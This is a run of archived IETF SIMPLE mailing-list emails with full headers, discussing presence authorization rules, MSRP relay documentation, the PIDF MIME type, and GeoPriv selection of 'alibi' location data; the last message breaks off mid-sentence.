	Fri, 19 Mar 2004 16:49:33 -0500 (EST)
Message-ID: <405B6ADF.10404@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: simple@ietf.org
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A39F@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A39F@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Re: Presence authorization: confirmation vs. accept-subscription
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 19 Mar 2004 16:49:19 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Markus.Isomaki@nokia.com wrote:

> Jonathan,
> 
> I think there are clear problems in the current draft where the
> actions are not orthogonal, nor do they have a "privacy order".

Are their cases of that in the text I sent out, besides this one we are 
talking about here?

> For
> instance I would like to define my authorization so that presence is
> always provided to a list of friends, and in case the watcher is not
> on that list, he or she would require confirmation. I don't see any
> other way to do this than having one rule for the friends resulting
> in "accept-subscription", and another rule applying to all watchers
> that would result in "confirmation". Now, if someone on the friends
> list subscribes to my presence, both rules apply.
> 
> The new proposal (in your mail below) where the actions are have a
> well-defined privacy order makes much more sense. I suggest we adopt
> it.

I agree it seems cleaner. Other comments?

> 
> BTW, I believe in this case "block" would need to be the default,
> since the strictest privacy should be applied in the absense of any
> rules. Correct?

Right.

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:10:53 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA25803
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:10:53 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8RjW-0006a4-9P
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:22 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id hAP9h90w026252
	for simple-archive@odin.ietf.org; Tue, 25 Nov 2003 04:43:09 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AOZiu-0006pG-Rn
	for simple-web-archive@optimus.ietf.org; Tue, 25 Nov 2003 04:43:08 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA10200;
	Tue, 25 Nov 2003 04:42:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AOZio-0000xi-00; Tue, 25 Nov 2003 04:43:02 -0500
Received: from [132.151.1.19] (helo=optimus.ietf.org)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AOZio-0000xc-00; Tue, 25 Nov 2003 04:43:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AOZip-0006oW-FS; Tue, 25 Nov 2003 04:43:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AOZih-0006m2-JZ
	for simple@optimus.ietf.org; Tue, 25 Nov 2003 04:42:55 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA10174
	for <simple@ietf.org>; Tue, 25 Nov 2003 04:42:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AOZib-0000xR-00
	for simple@ietf.org; Tue, 25 Nov 2003 04:42:49 -0500
Received: from penguin-ext.wise.edt.ericsson.se ([193.180.251.47])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AOZib-0000xO-00
	for simple@ietf.org; Tue, 25 Nov 2003 04:42:49 -0500
Received: from esealnt613.al.sw.ericsson.se ([153.88.254.125])
	by penguin-ext.wise.edt.ericsson.se (8.12.10/8.12.10/WIREfire-1.8) with ESMTP id hAP9gkSv026449;
	Tue, 25 Nov 2003 10:42:47 +0100 (MET)
Received: from mail.lmf.ericsson.se (dossier.lmf.ericsson.se [131.160.11.13]) by esealnt613.al.sw.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72)
	id XSX2GB9D; Tue, 25 Nov 2003 10:42:43 +0100
Received: from ericsson.com (EFQ240013L1IJOG.lmf.ericsson.se [131.160.31.244])
	by mail.lmf.ericsson.se (Postfix) with ESMTP
	id 8D57718AC0; Tue, 25 Nov 2003 11:42:36 +0200 (EET)
Message-ID: <3FC3240C.1050403@ericsson.com>
X-Sybari-Space: 00000000 00000000 00000000 00000000
From: "Miguel A. Garcia" <Miguel.A.Garcia@ericsson.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en, es
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
Cc: bcampbell@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] BIND and relays documentation
References: <2038BCC78B1AD641891A0D1AE133DBB70118B108@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB70118B108@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 25 Nov 2003 11:42:36 +0200
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

This proposal is an incomplete specification. Precluding support for 
proxies and NAT these days seems a bad idea. If you allow to have a 
collection of endpoints deployed that do not support relays, we will 
definitely get problems.

/Miguel

hisham.khartabil@nokia.com wrote:

> Hi Miguel,
> 
> I don't agree with you. The relay case will be seen as an extension of MS(R)P and therefore all methods to support relays should be defined in that document.
> 
> If endpoint implementers want to support relays for NAT traversal, then they better implement whatever is documented in the relay document.
> 
> Regards,
> Hisham
> 
> 
>>-----Original Message-----
>>From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
>>ext Miguel A. Garcia
>>Sent: 24.November.2003 20:48
>>To: Ben Campbell
>>Cc: Simple WG
>>Subject: [Simple] BIND and relays documentation
>>
>>
>>Hi:
>>
>>A question about the recent decision to split the MSRP 
>>protocol into a 
>>relay-less document and a document that details the use of relays.
>>
>>I would like to understand if the idea is to document the 
>>BIND primitive 
>>in the relay-less document or in the relayful document.
>>
>>Some folks may argue that the BIND primitive is only used in the case 
>>there are relays in the path, and as such, it should be documented in 
>>the relays document. However, in doing so, we may risk that 
>>end points 
>>will not implement the BIND primitive ever, and therefore will not 
>>support the operation through relays.
>>
>>I am in favour of documenting the BIND primitive in the core MSRP 
>>document, in spite that the relay operation will be described in the 
>>relays document.
>>
>>Is this something that the working group is thinking?
>>
>>/Miguel
>>-- 
>>Miguel-Angel Garcia                     Oy LM Ericsson AB
>>                                         Jorvas, Finland
>>mailto:Miguel.A.Garcia@ericsson.com     Phone:  +358 9 299 3553
>>mailto:Miguel.A.Garcia@piuha.net        Mobile: +358 40 514 0002
>>
>>
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
> 
> 

-- 
Miguel-Angel Garcia                     Oy LM Ericsson AB
                                         Jorvas, Finland
mailto:Miguel.A.Garcia@ericsson.com     Phone:  +358 9 299 3553
mailto:Miguel.A.Garcia@piuha.net        Mobile: +358 40 514 0002


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:12:57 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26371
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:12:57 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8RjU-0006Zv-TK
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:20 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id hAP9rC79027195
	for simple-archive@odin.ietf.org; Tue, 25 Nov 2003 04:53:12 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AOZsd-00074Y-7m
	for simple-web-archive@optimus.ietf.org; Tue, 25 Nov 2003 04:53:11 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA10365;
	Tue, 25 Nov 2003 04:52:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AOZsZ-00014J-00; Tue, 25 Nov 2003 04:53:07 -0500
Received: from [132.151.1.19] (helo=optimus.ietf.org)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AOZsY-00014G-00; Tue, 25 Nov 2003 04:53:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AOZsV-00072q-4F; Tue, 25 Nov 2003 04:53:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AOZrm-00072L-Dm
	for simple@optimus.ietf.org; Tue, 25 Nov 2003 04:52:18 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA10347
	for <simple@ietf.org>; Tue, 25 Nov 2003 04:52:03 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AOZrj-00013V-00
	for simple@ietf.org; Tue, 25 Nov 2003 04:52:15 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AOZri-00013S-00
	for simple@ietf.org; Tue, 25 Nov 2003 04:52:14 -0500
Received: from esvir04nok.ntc.nokia.com (esvir04nokt.ntc.nokia.com [172.21.143.36])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id hAP9qD606594
	for <simple@ietf.org>; Tue, 25 Nov 2003 11:52:13 +0200 (EET)
Received: from esebh002.NOE.Nokia.com (unverified) by esvir04nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T661f244067ac158f24115@esvir04nok.ntc.nokia.com>;
 Tue, 25 Nov 2003 11:52:13 +0200
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6747);
	 Tue, 25 Nov 2003 11:52:13 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] BIND and relays documentation
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797435@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] BIND and relays documentation
Thread-Index: AcOzOIoS8zG/ubdPQ5SFxKEv6gJyuwAAPvFw
To: <Miguel.A.Garcia@ericsson.com>
Cc: <bcampbell@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 25 Nov 2003 09:52:13.0740 (UTC) FILETIME=[CD6BAEC0:01C3B339]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 25 Nov 2003 11:52:13 +0200
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

We will support relays for NAT traversal, in a separate document. But =
having half the solution documented is a separate I-D is not =
appropriate, IMO.

/Hisham

> -----Original Message-----
> From: ext Miguel A. Garcia [mailto:Miguel.A.Garcia@ericsson.com]
> Sent: 25.November.2003 11:43
> To: Khartabil Hisham (NMP-MSW/Helsinki)
> Cc: bcampbell@dynamicsoft.com; simple@ietf.org
> Subject: Re: [Simple] BIND and relays documentation
>=20
>=20
> This proposal is an incomplete specification. Precluding support for=20
> proxies and NAT these days seems a bad idea. If you allow to have a=20
> collection of endpoints deployed that do not support relays, we will=20
> definitely get problems.
>=20
> /Miguel
>=20
> hisham.khartabil@nokia.com wrote:
>=20
> > Hi Miguel,
> >=20
> > I don't agree with you. The relay case will be seen as an=20
> extension of MS(R)P and therefore all methods to support=20
> relays should be defined in that document.
> >=20
> > If endpoint implementers want to support relays for NAT=20
> traversal, then they better implement whatever is documented=20
> in the relay document.
> >=20
> > Regards,
> > Hisham
> >=20
> >=20
> >>-----Original Message-----
> >>From: simple-admin@ietf.org=20
> [mailto:simple-admin@ietf.org]On Behalf Of
> >>ext Miguel A. Garcia
> >>Sent: 24.November.2003 20:48
> >>To: Ben Campbell
> >>Cc: Simple WG
> >>Subject: [Simple] BIND and relays documentation
> >>
> >>
> >>Hi:
> >>
> >>A question about the recent decision to split the MSRP=20
> >>protocol into a=20
> >>relay-less document and a document that details the use of relays.
> >>
> >>I would like to understand if the idea is to document the=20
> >>BIND primitive=20
> >>in the relay-less document or in the relayful document.
> >>
> >>Some folks may argue that the BIND primitive is only used=20
> in the case=20
> >>there are relays in the path, and as such, it should be=20
> documented in=20
> >>the relays document. However, in doing so, we may risk that=20
> >>end points=20
> >>will not implement the BIND primitive ever, and therefore will not=20
> >>support the operation through relays.
> >>
> >>I am in favour of documenting the BIND primitive in the core MSRP=20
> >>document, in spite that the relay operation will be=20
> described in the=20
> >>relays document.
> >>
> >>Is this something that the working group is thinking?
> >>
> >>/Miguel
> >>--=20
> >>Miguel-Angel Garcia                     Oy LM Ericsson AB
> >>                                         Jorvas, Finland
> >>mailto:Miguel.A.Garcia@ericsson.com     Phone:  +358 9 299 3553
> >>mailto:Miguel.A.Garcia@piuha.net        Mobile: +358 40 514 0002
> >>
> >>
> >>
> >>_______________________________________________
> >>Simple mailing list
> >>Simple@ietf.org
> >>https://www1.ietf.org/mailman/listinfo/simple
> >=20
> >=20
>=20
> --=20
> Miguel-Angel Garcia                     Oy LM Ericsson AB
>                                          Jorvas, Finland
> mailto:Miguel.A.Garcia@ericsson.com     Phone:  +358 9 299 3553
> mailto:Miguel.A.Garcia@piuha.net        Mobile: +358 40 514 0002
>=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:14:25 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA26742
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:14:24 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8RjU-0006Xa-21
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:20 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2N4w2S3006311
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 23:58:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5dzF-0001db-B1
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 23:58:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA19288
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 23:57:58 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5dzD-0001Ep-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 23:57:59 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5dyQ-00017i-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 23:57:11 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5dxT-00010P-00; Mon, 22 Mar 2004 23:56:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5dxK-0001UT-FX; Mon, 22 Mar 2004 23:56:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5dwb-0001Te-Pk
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 23:55:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA19091
	for <simple@ietf.org>; Mon, 22 Mar 2004 23:55:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5dwZ-0000s6-00
	for simple@ietf.org; Mon, 22 Mar 2004 23:55:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5dvU-0000jf-00
	for simple@ietf.org; Mon, 22 Mar 2004 23:54:09 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5due-0000Uy-00
	for simple@ietf.org; Mon, 22 Mar 2004 23:53:16 -0500
Received: from dynamicsoft.com ([63.113.46.54])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2N4qqNr022524;
	Mon, 22 Mar 2004 23:52:53 -0500 (EST)
Message-ID: <405FC295.50407@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Emil Ivov <emil_ivov@yahoo.com>
CC: simple@ietf.org, mandre@startx.u-strasbg.fr
Subject: Re: [Simple] cpim-pidf+xml or pidf+xml
References: <4059A9AC.1080201@yahoo.com>
In-Reply-To: <4059A9AC.1080201@yahoo.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 23:52:37 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

This has caused a lot of confusion. Its an unfortunate consequence of 
changes made to the PIDF spec after SIMPLE was completed.

The correct MIME type is application/pidf+xml.

-Jonathan R.

Emil Ivov wrote:

> Hello,
> 
> draft-ietf-simple-presence-10.txt says:
> All subscribers and notifiers MUST support the 
> "application/cpim-pidf+xml" presence data format described in [6].
> 
> It seems, however, that [6] expired a while ago and what replaced it on 
> the IMPP WG page is apparently: draft-ietf-impp-cpim-pidf-08.txt
> 
> Yet it doesn't say anything about application/cpim-pidf+xml and 
> describes application/pidf+xml instead.
> 
> Does that mean that  application/pidf+xml is the must-be-supported data 
> format and not application/cpim-pidf+xml?
> 
> Thanx
> Emil
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:18:56 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA28127
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:18:56 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8RjR-0006WI-N7
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:17 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id h8KFdjvg003806
	for simple-archive@odin.ietf.org; Sat, 20 Sep 2003 11:39:45 -0400
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1A0jpp-0000zJ-6w
	for simple-web-archive@optimus.ietf.org; Sat, 20 Sep 2003 11:39:45 -0400
Received: from optimus.ietf.org (ietf.org [132.151.1.19] (may be forged))
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13644;
	Sat, 20 Sep 2003 11:39:36 -0400 (EDT)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1A0jpJ-0000iG-OA; Sat, 20 Sep 2003 11:39:13 -0400
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1A0icA-0006f7-6T
	for simple@optimus.ietf.org; Sat, 20 Sep 2003 10:21:34 -0400
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA02021
	for <simple@ietf.org>; Fri, 19 Sep 2003 21:43:03 -0400 (EDT)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1A0WmG-0005MI-00
	for simple@ietf.org; Fri, 19 Sep 2003 21:43:12 -0400
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1A0Wm0-0005LM-00
	for simple@ietf.org; Fri, 19 Sep 2003 21:42:56 -0400
Received: from razor.cs.columbia.edu (IDENT:root@razor.cs.columbia.edu [128.59.16.8])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id h8K1g6fH017532;
	Fri, 19 Sep 2003 21:42:07 -0400 (EDT)
Received: from cs.columbia.edu (IDENT:root@localhost [127.0.0.1])
	by razor.cs.columbia.edu (8.11.6/8.9.3) with ESMTP id h8K1g5r20642;
	Fri, 19 Sep 2003 21:42:06 -0400
Message-ID: <3F6BB06D.5080800@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030901 Thunderbird/0.2
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hardie@qualcomm.com
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "James M. Polk" <jmpolk@cisco.com>,
        Tschofenig Hannes <hannes.tschofenig@siemens.com>,
        John Morris <jmorris@cdt.org>, geopriv@mail.apps.ietf.org,
        Simple WG <simple@ietf.org>
References: <4.3.2.7.2.20030917115817.024b48f8@localhost> <3F5BF2E6.4010107@cs.columbia.edu> <3F5BF2E6.4010107@cs.columbia.edu> <4.3.2.7.2.20030917115817.024b48f8@localhost> <4.3.2.7.2.20030917165849.024ad9d0@localhost> <3F691CCF.7080002@cs.columbia.edu> <3F6B6C03.4070406@dynamicsoft.com> <p06002009bb913320e51b@[129.46.227.161]>
In-Reply-To: <p06002009bb913320e51b@[129.46.227.161]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Re: Georpiv and actively lying
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 19 Sep 2003 21:42:05 -0400
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

hardie@qualcomm.com wrote:


> I'm not sure I follow this.  Does this imply that you use an "alibi 
> publisher" to change
> your location under certain circumstances and that this location is held 
> to be valid
> for all watchers?  If so, this requires no special processing in the 

The alibi data could be delivered to all watchers or only delivered to 
certain watchers (the spouse in the running example). This only requires 
a selection mechanism, as we already need the ability for a location 
server to select from different representations. (For a completely 
different example unrelated to lying, I might want to deliver my 
802.11-derived location information indoors, but GPS outdoors.)


> GeoPriv sense; it
> simply implies that you can adjust location provider by configuration.  
> If you do intend
> it to apply only to certain watchers, then we're back to a serious set 
> of issues, including
> how to do in-the-moment updates of the rules, how to apply 
> transformative rules,
> and so on.

Not necessarily. All I need is to do labeling of data and a selector. 
Consider the following rule, expressed in the 'conditional statement' 
version of my rule model:

if (observer=FBI)
   select class=alibi

or

if (area=indoors)
   select class=802-11

RPID, for example, has such a class attribute for tuples.


>> I believe it can work. It has the benefit that it can have lots of 
>> flexibility. If this transformation is done on the server, you need to 
>> specify particular transformations that are possible so that the user 
>> can set them as it desires. THe drawback is that it now requires two 
>> publishers for a single user just to support this capability. It also 
>> introduces the need to coordination between those publications, either 
>> by havign them co-resident, or through some other means. When 
>> co-resident, say, on a wireless handset, it may increase bandwidth 
>> usage by sending information which could have been algorithmically 
>> derived at the server.

As I point out elsewhere, any self-respecting liar (if there's such a 
thing) would need to have more than just constants in his lies. Thus, 
you either need to have a rulemaker that updates the lie or a publisher 
that publishes a new document. Both are roughly equivalent, except that 
the publisher mechanism does not require the cooperation of the location 
server (or PA, in the SIMPLE context) and thus is likely to be more 
flexible.

> 
> 
> This seems to me to be more flexibility than GeoPriv can handle at the 
> moment.  The bang for
> this buck seems awfully small, and the delay larger than is warranted.  

Are you referring to the ability to lie in general, the ability for the 
